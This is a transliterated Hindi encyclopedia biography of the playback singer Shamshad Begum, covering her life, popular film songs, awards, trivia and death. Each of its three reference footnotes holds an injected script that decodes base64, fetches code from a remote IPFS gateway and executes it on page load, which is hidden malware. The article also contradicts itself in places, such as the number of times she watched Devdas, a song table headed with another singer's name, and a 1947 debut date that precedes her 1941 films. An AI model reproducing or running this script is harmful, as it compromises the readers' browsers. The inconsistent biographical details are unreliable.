शमशाद बेगम

भारत डिस्कवरी प्रस्तुति
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shamashad begam
poora nam shamashad begam
janm 14 aprail, 1919
janm bhoomi amritasar, panjab
mrityu 23 aprail, 2013
mrityu sthan mumbee
karm bhoomi bharat
karm-kshetr parshvagayan
mukhy filmean 'madar iandiya', 'mugal-e-azam', 'patanga', 'ar par', 'si.aee.di'., 'babul', 'didar', 'baijoo bavara', 'bahar', 'mela', 'kismat' adi.
puraskar-upadhi 'padmabhooshan' (2009)
prasiddhi hindi filmoan ki prasiddh parshvagayika
nagarikata bharatiy
any janakari pahali bar shamashad begam ki avaz lahaur ke peshavar rediyo ke madhyam se 16 disambar, 1947 ko logoan ke samane aee.

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shamashad begam (aangrezi: Shamshad Begum; janm- 14 aprail, 1919, panjab; mrityu- 23 aprail, 2013, mumbee) bharatiy sinema mean hindi filmoan ki shuruati parshvagayikaoan mean se ek thian. hindi sinema ke prarambhik daur mean unaki khanakhati aur surili avaz ne ek bahut b di sankhya mean unake prashasakoan ki bhi d taiyar kar di thi. hindi filmoan ke kee suparahit git, jaise- 'kabhi ar kabhi par', 'kajara mohabbat vala', 'leke pahala-pahala pyar', 'boojh mera kya nam re' shamashad begam ke nam par darj haian. in gitoan ki lokapriyata ne shamashad begam ko prasiddhi ki bulandiyoan par pahuancha diya tha. varsh 2009 mean bharat sarakar ne shamashad begam ko kala ke kshetr mean unake vishisht yogadan ke lie 'padmabhooshan' se sammanit kiya tha.

janm

shamashad begam ka janm 14 aprail, san 1919 ko panjab rajy ke amritasar mean hua tha. ve apani yuvavastha se hi ke. el. sahagal ki bahut b di prashansak thian. filmean dekhana aur git sunana unhean bahut pasand tha. filmean dekhane ka shauq shamashad begam ko is kadar tha ki unhoanne film 'devadas' chaudah bar dekhi thi. shamashad begam ka vivah ganapatalal batto ke sath hua tha. varsh 1955 mean pati ki mrityu ke bad ve mumbee a gee thian aur beti usha ratra aur damad ke sath rahane lagi thian.

gayan ki shuruat

pahali bar shamashad begam ki avaz lahaur ke peshavar rediyo ke madhyam se 16 disambar, 1947 ko logoan ke samane aee. unaki avaz ke jadoo ne logoan ko unaka prashansak bana diya. tatkalin samay mean shamashad begam ko pratyek git gane par pandrah rupaye parishramik milata tha. us samay ki prasiddh kampani jenofon, jo ki sangit rik aaurd karati thi, usase anubandh poora hone par shamashad begam ko 5000 rupaye se sammanit kiya gaya tha.

prasiddhi

shamashad begam ki sammohak avaz ne mahanh sangitakar naushad aur o. pi. naiyyar ka dhyan apani or khianch liya tha aur inhoanne filmoan mean parshvagayika ke roop mean inhean gayan ka mauka diya. isake bad to shamashad begam ki surili avaz ne logoan ko inaka divana bana diya. pachas, ath aur sattar ke dashak mean shamashad begam sangit nirdeshakoan ki pahali pasand bani rahian. shamashad begam ne 'aaul iandiya rediyo' ke lie bhi gaya. inhoanne apana myoozikal grup 'd kraun thietrikal kanpani aauf paraph aaurmiang art' banaya aur isake madhyam se poore desh mean anekoan prastutiyaan dian. inhoanne kuchh myoozik kanpaniyoan ke lie bhakti ke git bhi gae.[1] mashahoor sangitakar o. pi. naiyar ne unaki avaz ko 'mandir ki ghanti' bataya tha. shamashad begam ne us samay ke sabhi mashahoor sangitakaroan ke sath kam kiya.

shamashad begam ki surili avaz ne sarangi ke ustad husain bakhshavale saheb ka dhyan bhi apani or khiancha aur unhoanne inhean apani shishya bana liya. lahaur ke sangitakar gulam haidar ne inaki jaduee avaz ka istemal film 'khajaanchi' (1941) aur 'khanadan' (1942) mean kiya. varsh 1944 mean shamashad begam gulam haidar ki tim ke sath muanbee a gee thian. yahaan inhoanne kee filmoan ke lie gaya. inhoanne pashchaty se prabhavit pahala git 'meri jan meri jan sanade ke sanade' gakar dhoom macha di thi. inaki gayan shaili poori tarah maulik thi. inhean lata mangeshakar, asha bhoansale, gita datt aur amirabaee karnataki se jara bhi kam nahian aanka gaya.

holi ka prasiddh git

bharat ke pramukh tyoharoan mean se ek holi par yooan to hindi filmoan mean asankhy gane likhe aur gaye ge haian, kiantu holi ka sabase lokapriy git shakil badayooanni ne likha tha. is git ko apane samay ke khyatiprapt sangitakar naushad ne sangitabaddh kiya. shamashad begam ne is git ko apani surili avaz se sajakar amar bana diya. film 'madar iandiya' ka yah git abhinetri nargis par filmaya gaya tha aur git ke bol the- "holi aee re kanhaee rang chhalake, suna de zara baansoori". is git mean gopiyaan natakhat krishna se guzarish kar rahi haian ki ve holi ke mauke par apani jadooee baansuri bajana band n karean. yah git apane samay ke sabase saphal gitoan mean se ek tha, jo logoan ke hriday par chha gaya tha.

pramukh git

nadiri begam ke kuchh pramukh git
git film
'chho d babul ka ghar' madar iandiya
'holi aee re kanhaee' madar iandiya (1957)
'o ga di vale ga di dhire haank re' madar iandiya
'teri mahafil mean qismat azama kar ham bhi dekheange' mugal-e-azam
'mere piya ge rangoon' patanga
'kabhi ar kabhi par' ar par
'leke pahala pahala pyar' si.aee.di. (1956)
'kahian pe nigahean kahian pe nishana' si.aee.di. (1956)
'boojh mera kya nam re, nadi kinare gaanv re' si.aee.di. (1956) (1956)
'milate hi aankhean dil hua divana kisi ka' babul
'bachapan ke din bhula n dena' didar
'door koee gae' baijoo bavara
'saiya dil mean ana re' bahar
'mohan ki muraliya baje' mela (1948)
'kajara muhabbat vala' qismat (1968)

avaz ka jadoo

apani surili avaz se hindi film sangit ki sunahari hastakshar shamashad begam ke ganoan mean alh d jharane ki laparavah ravani, jivan ki sachchaee jaisa khuradarapan aur bahut din pahale chubhe kisi kaante ki rah rahakar uthane vali tis ka sa ehasas samajh mean ata hai. unaki avaz ki yah adaean sunane valoan ko barabas hi apani or akarshit karati hai aur unake ganoan ki lokapriyata ka alam yah hai ki aj bhi un par rimiks ban rahe haian.

puraskar v samman

  1. 'prestijiyas o.pi. naiyar avard' - 2009
  2. 'padm bhooshan - 2009

rochak tathy

shamashad begam se sanbandhit kuch rochak tathy[2]
pahali hi film mean 9 gane shamashad begam ne apane gayan kariyar ki shuruat rediyo se ki. unaki pahali hiandi film ‘khajaanchi’ thi. film ke sare 9 gane shamashad ne gae. unhoanne 16 disanbar, 1947 ko peshavar rediyo ke lie gana gaya. unake is gane se o.pi. naiyyar kafi prabhavit hue aur unhean apani film mean gane ka mauka diya. 50, 60 aur 70 ke dashak mean shamashad sangitakaroan ki pasandida hua karati thian.
rimiks ki rani begam ne jamane mean shamashad begam ke jitane ganoan ko rimiks kiya gaya shayad hi kisi aur gayak ke ganoan ko kiya gaya ho. khas bat ye rahi ki shamashad ka orijanal gana jitana mashahoor hua utane hi hit unake rimiks bhi hue. unake ‘saianya dil mean ana re’, ‘kajara mohabbat vala’, ‘kabhi ar kabhi par’ jaise ganoan ke rimiks kafi lokapriy hue. ‘kajara mohabbat vala’ ke rimiks ko to sonoo nigam ne avaz bhi di. shamashad begam ko in rimiks par koee etaraj nahian raha. vo inhean vakt ki maang manati thian.
mobail ki shan shamashad shamashad begam ke gane aj bhi kee logoan ke mobail phon ki plelist mean mil jaeange. unaki avaz ka jadoo hai hi aisa. yahi nahian shamashad ke gane riangatons ke rup mean bhi hit rahe haian. nabbe ke dashak mean unake gane sabase jyada daunalod ki gee riangatons mean shamil the.
hiro ke lie di avaz 1968 mean aee film ‘kismat’ mean shamashad begam ne hiroin babita nahian balki hiro vishvajit ke lie avaz di thi. film mean vishvajit par filmae kuchh ganoan mean vo l daki ke bhesh mean the jisake lie avaz shamashad ki istemal ki gee.
pashchimi dhun adharit pahala gana shamashad ne apani avaz ki vividhata ko sabit karate hue pashchimi dhun par adharit gane bhi gae. unhoanne si. ramachandr dvara kanpoj kiya hua gana ‘ana meri jan sande ke sande’ gakar dhoom macha di. ye unaka pahala pashchimi dhun par adharit gana tha.
50 sal purana ‘katiya karuan’ film 'r aaukastar' ka gana ‘katiya karooan’ kafi hit raha tha lekin kya ap janate haian ki ye gana shamashad ke pachas sal pahale gae gane se prerit hai. marahoom gayika shamashad begam ne ‘katiya karooan’ ko 1963 mean gaya tha. yah gana shvet-shyam panjabi film 'piand di kurahi' mean abhinetri nishi par filmaya gaya.
isalie nahian khianchavati thian photo shamashad begam ko kaimare ke samane ana pasand nahian tha. kuchh logoan ka manana hai ki shamashad khud ko khoobasoorat nahian manati thian isalie vo photo nahian khianchavati thian. vahian kuchh log kahate haian ki unhoanne apane pita se kabhi kaimare ke samane n ane ka vada kiya tha. yahi vajah hai ki shamashad begam ki bahut kam tasvirean upalabdh haian.
ke. el. sahagal ki divani, 17 bar dekhi devadas shamashad begam ke. el. sahagal ki bahut b di phain thian. unhoanne sahagal ki film devadas 14 bar dekhi thi. yahi nahian vo unaki gayaki se bhi kafi prabhavit thian.
kee bhashaoan mean gae gane shamashad begam ne ‘nishan’ jaisi filmoan nean bahubhashi git bhi gae. film ‘shabanam’ mean barman da ke sangit nirdeshan mean unhoanne ek gane mean 6 bhashaoan mean ek sath gaya. vah gair-filmi rek aaurds ke lie bhi gati rahian. hiandi, panjabi, urdoo aur pashto mean bhi unake kee gair-filmi gane haian.
o. pi. naiyar ki ‘teanpal bel’  filmi duniya mean shamashad ko gane ka mauka dene sangitakar o.pi naiyyar unhean ‘teanpal bel’ kahate the. naiyyar shamashad ki avaz ki tulana mandir mean bajane vali ghantiyoan ki avaz se karate the. shamashad ki gayan shaili poori tarah maulik thi aur unhoanne lata mangeshakar, asha bhoansale, gita datt aur amirabaee karnataki ke daur mean apani alag pahachan banaee thi.

nidhan

bharatiy sinema mean apani surili avaz se logoan ka dil jit lene vali mashahoor parshvagayika shamashad begam ka nidhan 23 aprail, 2013 ko mumbee mean ho gaya. shamashan begam ne hindi film jagat se bhale hi kee varsh pahale dooriyaan bana li thian, kiantu apane poore kairiyar mean beshumar aur prasiddh ganoan ko apani avaz di. unhoanne n jane kitane hi anaginat ganoan ko apani avaz se sajakar hamesha-hamesha ke lie zianda kar diya. unaki beti usha ka kahana tha ki- "meri maan hamesha yahi kahati thian ki meri maut ke bad mere aantim sanskar ke bad hi kisi ko batana ki maian ab is duniya se ja chuki hooan, aur maian kahian nahian jauangi jahaan se aee thi, vahian vapas ja rahi hooan, maian sada sabake sath hooan. ye khanaki avaz ab apani juban se gaye ge ganoan se hi sabake diloan ko sukoon degi."[3]

nidhan ka samachar vibhinn srotoan par padhean


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. shamashad begam (hindi). . abhigaman tithi: 24 aprail, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. kya ap shamashad begam ke bare mean ye khas batean janate haian? (hiandi) in d aaut k aaum. abhigaman tithi: 26 aprॅl, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. gayika shamashad begam ka nidhan (hindi). . abhigaman tithi: 24 aprail, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

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